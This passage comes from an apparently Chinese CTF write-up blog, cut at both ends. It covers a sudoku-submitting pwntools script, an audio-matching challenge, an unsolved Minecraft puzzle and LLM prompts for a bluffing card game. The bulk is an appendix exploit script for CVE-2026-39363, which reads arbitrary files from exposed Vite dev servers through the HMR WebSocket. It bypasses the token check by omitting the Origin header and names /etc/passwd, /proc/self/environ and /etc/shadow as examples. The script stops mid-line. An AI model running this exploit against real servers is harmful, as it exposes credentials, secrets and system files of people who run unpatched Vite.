</div></div><div><div><div>56</div></div><div><span>print</span><span>(</span><span>"[+] 开始发送 set 命令..."</span><span>)</span></div></div><div><div><div>57</div></div><div><span>for</span><span> r </span><span>in</span><span> </span><span>range</span><span>(</span><span>9</span><span>):</span></div></div><div><div><div>58</div></div><div><span>    </span><span>for</span><span> c </span><span>in</span><span> </span><span>range</span><span>(</span><span>9</span><span>):</span></div></div><div><div><div>59</div></div><div><span><span>        </span></span><span>n </span><span>=</span><span> </span><span>int</span><span>(grid[r][c])</span></div></div><div><div><div>60</div></div><div><span>        </span><span>if</span><span><span> n </span><span>!=</span><span> </span></span><span>0</span><span>:</span></div></div><div><div><div>61</div></div><div><span><span>            </span></span><span>cmd </span><span>=</span><span> </span><span>f</span><span>"set </span><span>{</span><span><span>r </span><span>+</span><span> </span><span>BASE</span></span><span>}</span><span> </span><span>{</span><span><span>c </span><span>+</span><span> </span><span>BASE</span></span><span>}</span><span> </span><span>{</span><span>n</span><span>}</span><span>\n</span><span>"</span></div></div><div><div><div>62</div></div><div><span><span>            </span></span><span>p.</span><span>send</span><span>(cmd.</span><span>encode</span><span>())</span></div></div><div><div><div>63</div></div><div>
</div></div><div><div><div>64</div></div><div><span>print</span><span>(</span><span>"[+] 发送完毕，接收服务端返回："</span><span>)</span></div></div><div><div><div>65</div></div><div><span><span>recv_all</span><span>(</span></span><span>timeout</span><span>=</span><span>3</span><span>)</span></div></div><div><div><div>66</div></div><div>
</div></div><div><div><div>67</div></div><div><span>print</span><span>(</span><span>"</span><span>\n</span><span>[+] 进入交互模式，可继续手动操作，Ctrl-C 退出"</span><span>)</span></div></div><div><div><div>68</div></div><div><span><span>p.</span><span>interactive</span><span>()</span></span></div></div><div><div><div>69</div></div><div>
</div></div><div><div><div>70</div></div><div><span># 第 1 行: 912487356</span></div></div><div><div><div>71</div></div><div><span># 第 2 行: 734651829</span></div></div><div><div><div>72</div></div><div><span># 第 3 行: 586392471</span></div></div><div><div><div>73</div></div><div><span># 第 4 行: 468539712</span></div></div><div><div><div>74</div></div><div><span># 第 5 行: 371264598</span></div></div><div><div><div>75</div></div><div><span># 第 6 行: 295178634</span></div></div><div><div><div>76</div></div><div><span># 第 7 行: 153826947</span></div></div><div><div><div>77</div></div><div><span># 第 8 行: 827943165</span></div></div><div><div><div>78</div></div><div><span># 第 9 行: 649715283</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>findit<a href="#findit"><span>#</span></a></h3><p>附件给了 100 个 mp3 ，要在多轮中内完成对指定预处理后的音频段找出其所在的音频以及起始点，查询后得知 <strong>Chroma 特征</strong> 适用于这种预处理后的音频特征识别，所以可以写一个程序来进行特征库建立与自动化识别。</p><p>然而后来发现附件没有给 bgm ，只建立 track 的特征库远不够答对，但是在 dsh 的努力下，其抓了一些服务端的音频到本地一阵分析，最后使用了一个 <strong>逐带 z-score 归一</strong> 给解决了。ds 的解决程序在博客结尾给出。</p><blockquote><p><strong>逐带 z-score 归一</strong>就是“每个波段各自减自己的均值、除自己的标准差”，使各波段均值为 0、标准差为 1。—— deepseek
BGM 在对数幅度域近似为每带的常量偏移，逐带减均值除标准差正好把它消掉，让匹配依赖语音的频谱形状而非共享的 BGM。—— deepseek</p></blockquote></section><section><h3>!_MisC_!（未做出）<a href="#_misc_未做出"><span>#</span></a></h3><p>先尝试用 <code>zsteg</code> 扫了一遍 <code>icon.png</code> ，没发现任何问题，然后又用 <code>grep</code> 命令扫了一遍目录未发现 flag 标志。</p><p>通过查看 <code>level.dat</code> 发现地图版本为 <code>26.3</code>（后来发现怎么题面有写版本，建议把版本列为 misc 一环（）），用对应版本我的世界进入后发现是个巨大的红石电路构成的一个解谜，转了一圈发现看不懂红石电路（寄）</p><p>PIP 下载 <code>Amulet-Core</code> 后将存档交给 dsh 去分析，但是这方法明显不对，消耗大量 tokens 后无果，暂时放弃。</p><p>后面搜索各种方案找到一种常见的不用 dsh 自己按字节从零去分析 NBT 的方法：<strong>WorldEdit 导出选取 + Nucleation 模拟</strong> 。然后就是漫长的 AI 试错 + 分析了。然而仍然未做出来。</p><p>hint1 的意思大概是调随机刻？hint2 指明了按钮十六进制是 flag 编码后结果。</p></section></section>
<section><h2>AI<a href="#ai"><span>#</span></a></h2><section><h3>Liar’s Bar<a href="#liars-bar"><span>#</span></a></h3><p>红温指数估计是 <code>temperature</code> 吧设为 <code>0.1</code> ，提示词如下（由 ds 生成）：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>硬性规则：</span></div></div><div><div><div>2</div></div><div><span>1. 自己左轮空枪 0-1：可谨慎质疑，可出 1 张假。</span></div></div><div><div><div>3</div></div><div><span>2. 自己空枪 2：不主动质疑，除非对方出 3 张且历史可疑；不出假。</span></div></div><div><div><div>4</div></div><div><span>3. 自己空枪 3 及以上：绝不主动质疑，除非强制；只出真牌或 JOKER；有恶魔牌单独出。</span></div></div><div><div><div>5</div></div><div><span>4. 自己空枪 4 及以上：强制质疑也认命；出牌只用真牌/JOKER/恶魔，绝不主动出假。</span></div></div><div><div><div>6</div></div><div><span>出牌优先级：</span></div></div><div><div><div>7</div></div><div><span>真桌牌 &gt; JOKER &gt; 恶魔牌 &gt; 假牌。</span></div></div><div><div><div>8</div></div><div><span>一次最多出 2 张，优先 1 张。</span></div></div><div><div><div>9</div></div><div><span>有真牌出真牌。</span></div></div><div><div><div>10</div></div><div><span>无真牌有 JOKER 出 JOKER。</span></div></div><div><div><div>11</div></div><div><span>无真无 JOKER，出恶魔牌，单独出。</span></div></div><div><div><div>12</div></div><div><span>以上都没有，才出 1 张假牌。</span></div></div><div><div><div>13</div></div><div><span>永远不出 2 张以上假牌。</span></div></div><div><div><div>14</div></div><div><span>恶魔牌：</span></div></div><div><div><div>15</div></div><div><span>每轮拿到后，尽早单独出，声称是桌牌。</span></div></div><div><div><div>16</div></div><div><span>最好在对手空枪≥2 或对手质疑倾向强时出。</span></div></div><div><div><div>17</div></div><div><span>被质疑则自己免枪，其他所有人扣扳机。</span></div></div><div><div><div>18</div></div><div><span>JOKER：</span></div></div><div><div><div>19</div></div><div><span>永远合法，留到关键局，尤其是自己可能成为最后有牌者时。</span></div></div><div><div><div>20</div></div><div><span>最后有牌时，尽量出 JOKER 或真牌，让强制质疑者扣扳机。</span></div></div><div><div><div>21</div></div><div><span>质疑：</span></div></div><div><div><div>22</div></div><div><span>质疑前默算自己死亡概率 = 1/(6-自己空枪数)。</span></div></div><div><div><div>23</div></div><div><span>如果死亡概率 &gt; 20%，不主动质疑。</span></div></div><div><div><div>24</div></div><div><span>对方出 1 张：基本不质疑，除非自己空枪 0 且对方是惯骗。</span></div></div><div><div><div>25</div></div><div><span>对方出 2 张：自己空枪≤1 且对方历史可疑，才质疑。</span></div></div><div><div><div>26</div></div><div><span>对方出 3 张：自己空枪≤2 且对方非诚实形象，才质疑。</span></div></div><div><div><div>27</div></div><div><span>对方单张且像诱质疑：不质疑，防恶魔牌。</span></div></div><div><div><div>28</div></div><div><span>强制质疑：</span></div></div><div><div><div>29</div></div><div><span>只剩一人有牌或全场无手牌时，必须质疑。</span></div></div><div><div><div>30</div></div><div><span>提前避免自己成为最后有牌者。</span></div></div><div><div><div>31</div></div><div><span>如果自己最后有牌，确保出真牌/JOKER/恶魔。</span></div></div><div><div><div>32</div></div><div><span>对手建模：</span></div></div><div><div><div>33</div></div><div><span>常质疑者：少出假，多出真，诱其质疑失败；恶魔牌收益高。</span></div></div><div><div><div>34</div></div><div><span>少质疑者：可多出假，但恶魔牌诱饵效果差。</span></div></div><div><div><div>35</div></div><div><span>常撒谎者：多质疑，但防恶魔牌。</span></div></div><div><div><div>36</div></div><div><span>风险厌恶者：用假牌施压。</span></div></div><div><div><div>37</div></div><div><span>风险偏好者：少出假，等他质疑失败。</span></div></div><div><div><div>38</div></div><div><span>决策顺序：</span></div></div><div><div><div>39</div></div><div><span>先看自己空枪数，再看对手空枪数，再看对方出牌数量与历史，最后决定。</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>最终单次 21 轮过关，扳机 2 / 6 。自己又写了一版：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>对对手进行建模：你的对手大概有两种人，一种质疑较多，一种质疑较少，质疑较多的请你诱导其质疑失败，尤其是恶魔牌时，质疑较少的只在你有充足把握且当前空枪&lt;=3时发出质疑。当对手一次性出三张牌的时候质疑成功的概率极高，但是要保证自己有足够的空枪数来操作。一次性出两张牌时质疑成功的概率也较高，但是这时候要小心了，注意对手可能出过小丑牌，有则质疑成功的概率下降至极低。对手出一张牌的时候仅在对手已经出的合法牌（包括小丑牌等）足够多时才能够质疑。一次最多出2张，优先1张。确保自己最后一张牌为真牌。在场上质疑较多的人基本都倒下后，可以尝试多在前期使用假牌，否则假牌不优先。</span></div></div><div><div><div>2</div></div><div><span>前期不要主动质疑，除非百分百确定，等待其他人内耗而亡。</span></div></div><div><div><div>3</div></div><div><span>当只剩下你和另一个人的时候质疑一定要有百分之九十把握的时候才发出，因为对面大概率是不质疑之人，就等你犯错。</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>红温指数设置为 <code>0.2</code> 。最终单次 12 轮过关，扳机 2 / 6 。</p><blockquote><p>不过这题也还是有运气成分的，否则如果只有一两枪容错其实也挺难的。</p></blockquote></section></section>
<section><h2>附录<a href="#附录"><span>#</span></a></h2><section><h3>BandInvite CVE-2026-39363 利用脚本<a href="#bandinvite-cve-2026-39363-利用脚本"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/usr/bin/env python3</span></div></div><div><div><div>2</div></div><div><span># -*- coding: utf-8 -*-</span></div></div><div><div><div>3</div></div><div><span>"""</span></div></div><div><div><div>4</div></div><div><span>CVE-2026-39363 — Vite dev server 任意文件读取（HMR WebSocket 未授权）</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>Affected : vite &gt;=6.0.0 &lt;=6.4.1 | &gt;=7.0.0 &lt;=7.3.1 | &gt;=8.0.0 &lt;=8.0.4</span></div></div><div><div><div>7</div></div><div><span>Fixed    : 6.4.2 / 7.3.2 / 8.0.5</span></div></div><div><div><div>8</div></div><div><span>Advisory : GHSA-p9ff-h696-f583</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>原理</span></div></div><div><div><div>11</div></div><div><span>----</span></div></div><div><div><div>12</div></div><div><span>dev server 暴露到网络（server.host / --host）且未关闭 HMR WebSocket 时，</span></div></div><div><div><div>13</div></div><div><span>WS 握手只要【不带 Origin 头】即可绕过 token 校验（CWE-306）。</span></div></div><div><div><div>14</div></div><div><span>随后向 HMR WebSocket 发送自定义事件 `vite:invoke` 调用服务端 `fetchModule`，</span></div></div><div><div><div>15</div></div><div><span>传入 `file://&lt;绝对路径&gt;?raw`，即可读取任意文件——</span></div></div><div><div><div>16</div></div><div><span>该执行路径【完全绕过 HTTP 层的 server.fs.allow 限制】（CWE-200）。</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>本脚本相对常见 PoC 的关键修正</span></div></div><div><div><div>19</div></div><div><span>------------------------------</span></div></div><div><div><div>20</div></div><div><span>1) TLS 必须发送 SNI：`ctx.wrap_socket(sock, server_hostname=host)`。</span></div></div><div><div><div>21</div></div><div><span><span>   </span></span><span>很多 PoC 写成 `ctx.wrap_socket(sock)`，在按 SNI 分流的反向代理后面</span></div></div><div><div><div>22</div></div><div><span><span>   </span></span><span>会拿到 `404 page not found`（看起来像目标不存在，实际只是没发 SNI）。</span></div></div><div><div><div>23</div></div><div><span>2) 校验 Sec-WebSocket-Accept。</span></div></div><div><div><div>24</div></div><div><span>3) file:// URL 正确处理 POSIX / Windows / UNC 三种路径。</span></div></div><div><div><div>25</div></div><div><span>4) 帧收发按 RFC6455（客户端帧强制掩码、支持 126/127 变长、ping→pong）。</span></div></div><div><div><div>26</div></div><div>
</div></div><div><div><div>27</div></div><div><span>用法</span></div></div><div><div><div>28</div></div><div><span>----</span></div></div><div><div><div>29</div></div><div><span><span>  </span></span><span>python cve_2026_39363_read.py https://HOST:PORT /etc/passwd</span></div></div><div><div><div>30</div></div><div><span><span>  </span></span><span>python cve_2026_39363_read.py https://HOST:PORT /etc/passwd /proc/self/environ -o out/</span></div></div><div><div><div>31</div></div><div><span><span>  </span></span><span>python cve_2026_39363_read.py https://HOST:PORT --host-header localhost:5173 /etc/shadow</span></div></div><div><div><div>32</div></div><div>
</div></div><div><div><div>33</div></div><div><span>免责声明：仅用于已获授权的安全测试。</span></div></div><div><div><div>34</div></div><div><span>"""</span></div></div><div><div><div>35</div></div><div>
</div></div><div><div><div>36</div></div><div><span>import</span><span> argparse</span></div></div><div><div><div>37</div></div><div><span>import</span><span> base64</span></div></div><div><div><div>38</div></div><div><span>import</span><span> hashlib</span></div></div><div><div><div>39</div></div><div><span>import</span><span> json</span></div></div><div><div><div>40</div></div><div><span>import</span><span> os</span></div></div><div><div><div>41</div></div><div><span>import</span><span> re</span></div></div><div><div><div>42</div></div><div><span>import</span><span> socket</span></div></div><div><div><div>43</div></div><div><span>import</span><span> ssl</span></div></div><div><div><div>44</div></div><div><span>import</span><span> struct</span></div></div><div><div><div>45</div></div><div><span>import</span><span> sys</span></div></div><div><div><div>46</div></div><div><span>import</span><span> time</span></div></div><div><div><div>47</div></div><div><span>import</span><span> urllib.parse</span></div></div><div><div><div>48</div></div><div>
</div></div><div><div><div>49</div></div><div><span><span>WS_GUID</span><span> </span><span>=</span><span> </span></span><span>"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"</span></div></div><div><div><div>50</div></div><div><span><span>RAW_RE</span><span> </span><span>=</span><span> re.</span><span>compile</span><span>(</span></span><span>r</span><span>'export\s</span><span>+</span><span>default\s</span><span>+</span><span><span>(</span><span>"</span><span>(?:</span></span><span><span>[</span><span>^</span></span><span>"</span><span>\\</span><span><span>]</span><span>|</span></span><span><span>\\</span><span>.</span><span>)</span></span><span>*</span><span><span>"</span><span>)</span><span>'</span></span><span>, re.S)</span></div></div><div><div><div>51</div></div><div>
</div></div><div><div><div>52</div></div><div><span>if</span><span> sys.stdout.encoding </span><span>and</span><span><span> sys.stdout.encoding.</span><span>lower</span><span>() </span></span><span>not</span><span> </span><span>in</span><span> (</span><span>"utf-8"</span><span>, </span><span>"utf8"</span><span>):</span></div></div><div><div><div>53</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>54</div></div><div><span><span>        </span></span><span>sys.stdout.</span><span>reconfigure</span><span>(</span><span>encoding</span><span>=</span><span>"utf-8"</span><span>, </span><span>errors</span><span>=</span><span>"replace"</span><span>)</span></div></div><div><div><div>55</div></div><div><span><span>        </span></span><span>sys.stderr.</span><span>reconfigure</span><span>(</span><span>encoding</span><span>=</span><span>"utf-8"</span><span>, </span><span>errors</span><span>=</span><span>"replace"</span><span>)</span></div></div><div><div><div>56</div></div><div><span>    </span><span>except</span><span> (</span><span>AttributeError</span><span>, </span><span>ValueError</span><span>):</span></div></div><div><div><div>57</div></div><div><span>        </span><span>pass</span></div></div><div><div><div>58</div></div><div>
</div></div><div><div><div>59</div></div><div>
</div></div><div><div><div>60</div></div><div><span># ------------------------------------------------------------------ helpers</span></div></div><div><div><div>61</div></div><div>
</div></div><div><div><div>62</div></div><div><span>def</span><span> </span><span>to_file_url</span><span>(</span><span>path</span><span>:</span><span> </span><span>str</span><span>) -&gt; </span><span>str</span><span>:</span></div></div><div><div><div>63</div></div><div><span>    </span><span>"""把绝对路径转成 Vite fetchModule 能解析的 file:// URL。"""</span></div></div><div><div><div>64</div></div><div><span><span>    </span></span><span>p </span><span>=</span><span> path.</span><span>replace</span><span>(</span><span>"</span><span>\\</span><span>"</span><span>, </span><span>"/"</span><span>)</span></div></div><div><div><div>65</div></div><div><span>    </span><span>if</span><span><span> re.</span><span>match</span><span>(</span></span><span>r</span><span>"^</span><span>[</span><span>A-Za-z</span><span>]</span><span>:/"</span><span>, p):      </span><span># C:/x/y  -&gt; file:///C:/x/y</span></div></div><div><div><div>66</div></div><div><span>        </span><span>return</span><span> </span><span>"file:///"</span><span><span> </span><span>+</span><span> p</span></span></div></div><div><div><div>67</div></div><div><span>    </span><span>if</span><span><span> p.</span><span>startswith</span><span>(</span></span><span>"//"</span><span>):               </span><span># //host/share -&gt; file://host/share</span></div></div><div><div><div>68</div></div><div><span>        </span><span>return</span><span> </span><span>"file:"</span><span><span> </span><span>+</span><span> p</span></span></div></div><div><div><div>69</div></div><div><span>    </span><span>if</span><span><span> p.</span><span>startswith</span><span>(</span></span><span>"/"</span><span>):                </span><span># /etc/passwd -&gt; file:///etc/passwd</span></div></div><div><div><div>70</div></div><div><span>        </span><span>return</span><span> </span><span>"file://"</span><span><span> </span><span>+</span><span> p</span></span></div></div><div><div><div>71</div></div><div><span>    </span><span>return</span><span> </span><span>"file:///"</span><span><span> </span><span>+</span><span> p</span></span></div></div><div><div><div>72</div></div><div>
</div></div><div><div><div>73</div></div><div>
</div></div><div><div><div>74</div></div><div><span>def</span><span> </span><span>_xor</span><span>(</span><span>data</span><span>:</span><span> </span><span>bytes</span><span>,</span><span><span> </span><span>key</span></span><span>:</span><span> </span><span>bytes</span><span>) -&gt; </span><span>bytes</span><span>:</span></div></div><div><div><div>75</div></div><div><span>    </span><span>return</span><span> </span><span>bytes</span><span><span>(b </span><span>^</span><span> key[i </span><span>%</span><span> </span></span><span>4</span><span>] </span><span>for</span><span> i, b </span><span>in</span><span> </span><span>enumerate</span><span>(data))</span></div></div><div><div><div>76</div></div><div>
</div></div><div><div><div>77</div></div><div>
</div></div><div><div><div>78</div></div><div><span>def</span><span> </span><span>recv_exact</span><span>(</span><span>sock</span><span>,</span><span><span> </span><span>n</span></span><span>:</span><span> </span><span>int</span><span>) -&gt; </span><span>bytes</span><span>:</span></div></div><div><div><div>79</div></div><div><span><span>    </span></span><span>buf </span><span>=</span><span> </span><span>b</span><span>""</span></div></div><div><div><div>80</div></div><div><span>    </span><span>while</span><span> </span><span>len</span><span><span>(buf) </span><span>&lt;</span><span> n:</span></span></div></div><div><div><div>81</div></div><div><span><span>        </span></span><span>chunk </span><span>=</span><span> sock.</span><span>recv</span><span>(n </span><span>-</span><span> </span><span>len</span><span>(buf))</span></div></div><div><div><div>82</div></div><div><span>        </span><span>if</span><span> </span><span>not</span><span> chunk:</span></div></div><div><div><div>83</div></div><div><span>            </span><span>raise</span><span> </span><span>ConnectionError</span><span>(</span><span>"connection closed by peer"</span><span>)</span></div></div><div><div><div>84</div></div><div><span><span>        </span></span><span>buf </span><span>+=</span><span> chunk</span></div></div><div><div><div>85</div></div><div><span>    </span><span>return</span><span> buf</span></div></div><div><div><div>86</div></div><div>
</div></div><div><div><div>87</div></div><div>
</div></div><div><div><div>88</div></div><div><span>def</span><span> </span><span>send_frame</span><span>(</span><span>sock</span><span>,</span><span><span> </span><span>payload</span></span><span>:</span><span> </span><span>bytes</span><span>,</span><span><span> </span><span>opcode</span></span><span>:</span><span> </span><span>int</span><span> </span><span>=</span><span> </span><span>0x</span><span>1</span><span>) -&gt; </span><span>None</span><span>:</span></div></div><div><div><div>89</div></div><div><span><span>    </span></span><span>mask </span><span>=</span><span> os.</span><span>urandom</span><span>(</span><span>4</span><span>)</span></div></div><div><div><div>90</div></div><div><span><span>    </span></span><span>n </span><span>=</span><span> </span><span>len</span><span>(payload)</span></div></div><div><div><div>91</div></div><div><span><span>    </span></span><span>head </span><span>=</span><span> </span><span>bytearray</span><span>([</span><span>0x</span><span>80</span><span><span> </span><span>|</span><span> opcode])</span></span></div></div><div><div><div>92</div></div><div><span>    </span><span>if</span><span><span> n </span><span>&lt;</span><span> </span></span><span>126</span><span>:</span></div></div><div><div><div>93</div></div><div><span><span>        </span></span><span>head.</span><span>append</span><span>(</span><span>0x</span><span>80</span><span><span> </span><span>|</span><span> n)</span></span></div></div><div><div><div>94</div></div><div><span>    </span><span>elif</span><span><span> n </span><span>&lt;</span><span> </span></span><span>65536</span><span>:</span></div></div><div><div><div>95</div></div><div><span><span>        </span></span><span>head.</span><span>append</span><span>(</span><span>0x</span><span>80</span><span><span> </span><span>|</span><span> </span></span><span>126</span><span>)</span></div></div><div><div><div>96</div></div><div><span><span>        </span></span><span>head </span><span>+=</span><span> struct.</span><span>pack</span><span>(</span><span>"&gt;H"</span><span>, n)</span></div></div><div><div><div>97</div></div><div><span>    </span><span>else</span><span>:</span></div></div><div><div><div>98</div></div><div><span><span>        </span></span><span>head.</span><span>append</span><span>(</span><span>0x</span><span>80</span><span><span> </span><span>|</span><span> </span></span><span>127</span><span>)</span></div></div><div><div><div>99</div></div><div><span><span>        </span></span><span>head </span><span>+=</span><span> struct.</span><span>pack</span><span>(</span><span>"&gt;Q"</span><span>, n)</span></div></div><div><div><div>100</div></div><div><span><span>    </span></span><span>sock.</span><span>sendall</span><span>(</span><span>bytes</span><span><span>(head) </span><span>+</span><span> mask </span><span>+</span><span> </span><span>_xor</span><span>(payload, mask))</span></span></div></div><div><div><div>101</div></div><div>
</div></div><div><div><div>102</div></div><div>
</div></div><div><div><div>103</div></div><div><span>def</span><span> </span><span>recv_frame</span><span>(</span><span>sock</span><span>):</span></div></div><div><div><div>104</div></div><div><span><span>    </span></span><span>b1, b2 </span><span>=</span><span> </span><span>recv_exact</span><span>(sock, </span><span>2</span><span>)</span></div></div><div><div><div>105</div></div><div><span><span>    </span></span><span>opcode </span><span>=</span><span> b1 </span><span>&amp;</span><span> </span><span>0x</span><span>0F</span></div></div><div><div><div>106</div></div><div><span><span>    </span></span><span>n </span><span>=</span><span> b2 </span><span>&amp;</span><span> </span><span>0x</span><span>7F</span></div></div><div><div><div>107</div></div><div><span>    </span><span>if</span><span><span> n </span><span>==</span><span> </span></span><span>126</span><span>:</span></div></div><div><div><div>108</div></div><div><span><span>        </span></span><span>n </span><span>=</span><span> struct.</span><span>unpack</span><span>(</span><span>"&gt;H"</span><span><span>, </span><span>recv_exact</span><span>(sock, </span></span><span>2</span><span>))[</span><span>0</span><span>]</span></div></div><div><div><div>109</div></div><div><span>    </span><span>elif</span><span><span> n </span><span>==</span><span> </span></span><span>127</span><span>:</span></div></div><div><div><div>110</div></div><div><span><span>        </span></span><span>n </span><span>=</span><span> struct.</span><span>unpack</span><span>(</span><span>"&gt;Q"</span><span><span>, </span><span>recv_exact</span><span>(sock, </span></span><span>8</span><span>))[</span><span>0</span><span>]</span></div></div><div><div><div>111</div></div><div><span><span>    </span></span><span>mask </span><span>=</span><span> </span><span>recv_exact</span><span>(sock, </span><span>4</span><span>) </span><span>if</span><span><span> (b2 </span><span>&amp;</span><span> </span></span><span>0x</span><span>80</span><span>) </span><span>else</span><span> </span><span>None</span></div></div><div><div><div>112</div></div><div><span><span>    </span></span><span>payload </span><span>=</span><span> </span><span>recv_exact</span><span>(sock, n)</span></div></div><div><div><div>113</div></div><div><span>    </span><span>if</span><span> mask:</span></div></div><div><div><div>114</div></div><div><span><span>        </span></span><span>payload </span><span>=</span><span> </span><span>_xor</span><span>(payload, mask)</span></div></div><div><div><div>115</div></div><div><span>    </span><span>return</span><span> opcode, payload</span></div></div><div><div><div>116</div></div><div>
</div></div><div><div><div>117</div></div><div>
</div></div><div><div><div>118</div></div><div><span># ------------------------------------------------------------------ websocket</span></div></div><div><div><div>119</div></div><div>
</div></div><div><div><div>120</div></div><div><span>def</span><span> </span><span>ws_connect</span><span>(</span><span>host</span><span>,</span><span><span> </span><span>port</span></span><span>,</span><span><span> </span><span>path</span></span><span>,</span><span><span> </span><span>tls</span></span><span>,</span><span><span> </span><span>host_header</span></span><span>,</span><span><span> </span><span>timeout</span></span><span>,</span><span><span> </span><span>origin</span></span><span>=</span><span>None</span><span>,</span><span><span> </span><span>sni</span></span><span>=</span><span>True</span><span>):</span></div></div><div><div><div>121</div></div><div><span>    </span><span>"""完成 HTTP Upgrade 握手。origin=None 是关键：不发送 Origin 头。"""</span></div></div><div><div><div>122</div></div><div><span><span>    </span></span><span>raw </span><span>=</span><span> socket.</span><span>create_connection</span><span>((host, port), </span><span>timeout</span><span><span>=</span><span>timeout)</span></span></div></div><div><div><div>123</div></div><div><span>    </span><span>if</span><span> tls:</span></div></div><div><div><div>124</div></div><div><span><span>        </span></span><span>ctx </span><span>=</span><span> ssl.</span><span>create_default_context</span><span>()</span></div></div><div><div><div>125</div></div><div><span><span>        </span></span><span>ctx.check_hostname </span><span>=</span><span> </span><span>False</span></div></div><div><div><div>126</div></div><div><span><span>        </span></span><span>ctx.verify_mode </span><span>=</span><span> ssl.</span><span>CERT_NONE</span></div></div><div><div><div>127</div></div><div><span>        </span><span># ★ 关键修正：必须带 SNI，否则按 SNI 分流的反代会返回 404</span></div></div><div><div><div>128</div></div><div><span><span>        </span></span><span>raw </span><span>=</span><span> ctx.</span><span>wrap_socket</span><span>(raw, </span><span>server_hostname</span><span><span>=</span><span>host </span></span><span>if</span><span> sni </span><span>else</span><span> </span><span>None</span><span>)</span></div></div><div><div><div>129</div></div><div><span><span>    </span></span><span>raw.</span><span>settimeout</span><span>(timeout)</span></div></div><div><div><div>130</div></div><div>
</div></div><div><div><div>131</div></div><div><span><span>    </span></span><span>key </span><span>=</span><span> base64.</span><span>b64encode</span><span>(os.</span><span>urandom</span><span>(</span><span>16</span><span><span>)).</span><span>decode</span><span>()</span></span></div></div><div><div><div>132</div></div><div><span><span>    </span></span><span>lines </span><span>=</span><span> [</span></div></div><div><div><div>133</div></div><div><span>        </span><span>f</span><span>"GET </span><span>{</span><span>path</span><span>}</span><span> HTTP/1.1"</span><span>,</span></div></div><div><div><div>134</div></div><div><span>        </span><span>f</span><span>"Host: </span><span>{</span><span>host_header</span><span>}</span><span>"</span><span>,</span></div></div><div><div><div>135</div></div><div><span>        </span><span>"Upgrade: websocket"</span><span>,</span></div></div><div><div><div>136</div></div><div><span>        </span><span>"Connection: Upgrade"</span><span>,</span></div></div><div><div><div>137</div></div><div><span>        </span><span>f</span><span>"Sec-WebSocket-Key: </span><span>{</span><span>key</span><span>}</span><span>"</span><span>,</span></div></div><div><div><div>138</div></div><div><span>        </span><span>"Sec-WebSocket-Version: 13"</span><span>,</span></div></div><div><div><div>139</div></div><div><span>        </span><span>"Sec-WebSocket-Protocol: vite-hmr"</span><span>,</span></div></div><div><div><div>140</div></div><div><span>        </span><span>"User-Agent: Mozilla/5.0 (compatible; CVE-2026-39363)"</span><span>,</span></div></div><div><div><div>141</div></div><div><span><span>    </span></span><span>]</span></div></div><div><div><div>142</div></div><div><span>    </span><span>if</span><span> origin:</span></div></div><div><div><div>143</div></div><div><span><span>        </span></span><span>lines.</span><span>append</span><span>(</span><span>f</span><span>"Origin: </span><span>{</span><span>origin</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>144</div></div><div><span><span>    </span></span><span>raw.</span><span>sendall</span><span>((</span><span>"</span><span>\r\n</span><span>"</span><span><span>.</span><span>join</span><span>(lines) </span><span>+</span><span> </span></span><span>"</span><span>\r\n\r\n</span><span>"</span><span><span>).</span><span>encode</span><span>())</span></span></div></div><div><div><div>145</div></div><div>
</div></div><div><div><div>146</div></div><div><span><span>    </span></span><span>buf </span><span>=</span><span> </span><span>b</span><span>""</span></div></div><div><div><div>147</div></div><div><span>    </span><span>while</span><span> </span><span>b</span><span>"</span><span>\r\n\r\n</span><span>"</span><span> </span><span>not</span><span> </span><span>in</span><span> buf:</span></div></div><div><div><div>148</div></div><div><span><span>        </span></span><span>chunk </span><span>=</span><span> raw.</span><span>recv</span><span>(</span><span>4096</span><span>)</span></div></div><div><div><div>149</div></div><div><span>        </span><span>if</span><span> </span><span>not</span><span> chunk:</span></div></div><div><div><div>150</div></div><div><span>            </span><span>raise</span><span> </span><span>ConnectionError</span><span>(</span><span>"handshake closed by peer"</span><span>)</span></div></div><div><div><div>151</div></div><div><span><span>        </span></span><span>buf </span><span>+=</span><span> chunk</span></div></div><div><div><div>152</div></div><div><span><span>    </span></span><span>head </span><span>=</span><span> buf.</span><span>split</span><span>(</span><span>b</span><span>"</span><span>\r\n\r\n</span><span>"</span><span>, </span><span>1</span><span>)[</span><span>0</span><span><span>].</span><span>decode</span><span>(</span></span><span>"latin-1"</span><span>)</span></div></div><div><div><div>153</div></div><div><span><span>    </span></span><span>status_line </span><span>=</span><span> head.</span><span>split</span><span>(</span><span>"</span><span>\r\n</span><span>"</span><span>)[</span><span>0</span><span>]</span></div></div><div><div><div>154</div></div><div><span>    </span><span>if</span><span> </span><span>" 101 "</span><span> </span><span>not</span><span> </span><span>in</span><span> status_line:</span></div></div><div><div><div>155</div></div><div><span>        </span><span>raise</span><span> </span><span>RuntimeError</span><span>(</span><span>f</span><span>"WS handshake rejected: </span><span>{</span><span>status_line</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>156</div></div><div>
</div></div><div><div><div>157</div></div><div><span><span>    </span></span><span>expect </span><span>=</span><span> base64.</span><span>b64encode</span><span>(hashlib.</span><span>sha1</span><span>((key </span><span>+</span><span> </span><span>WS_GUID</span><span>).</span><span>encode</span><span>()).</span><span>digest</span><span>()).</span><span>decode</span><span>()</span></div></div><div><div><div>158</div></div><div><span>    </span><span>for</span><span> line </span><span>in</span><span><span> head.</span><span>split</span><span>(</span></span><span>"</span><span>\r\n</span><span>"</span><span>)[</span><span>1</span><span>:]:</span></div></div><div><div><div>159</div></div><div><span>        </span><span>if</span><span><span> line.</span><span>lower</span><span>().</span><span>startswith</span><span>(</span></span><span>"sec-websocket-accept:"</span><span>):</span></div></div><div><div><div>160</div></div><div><span>            </span><span>if</span><span><span> line.</span><span>split</span><span>(</span></span><span>":"</span><span>, 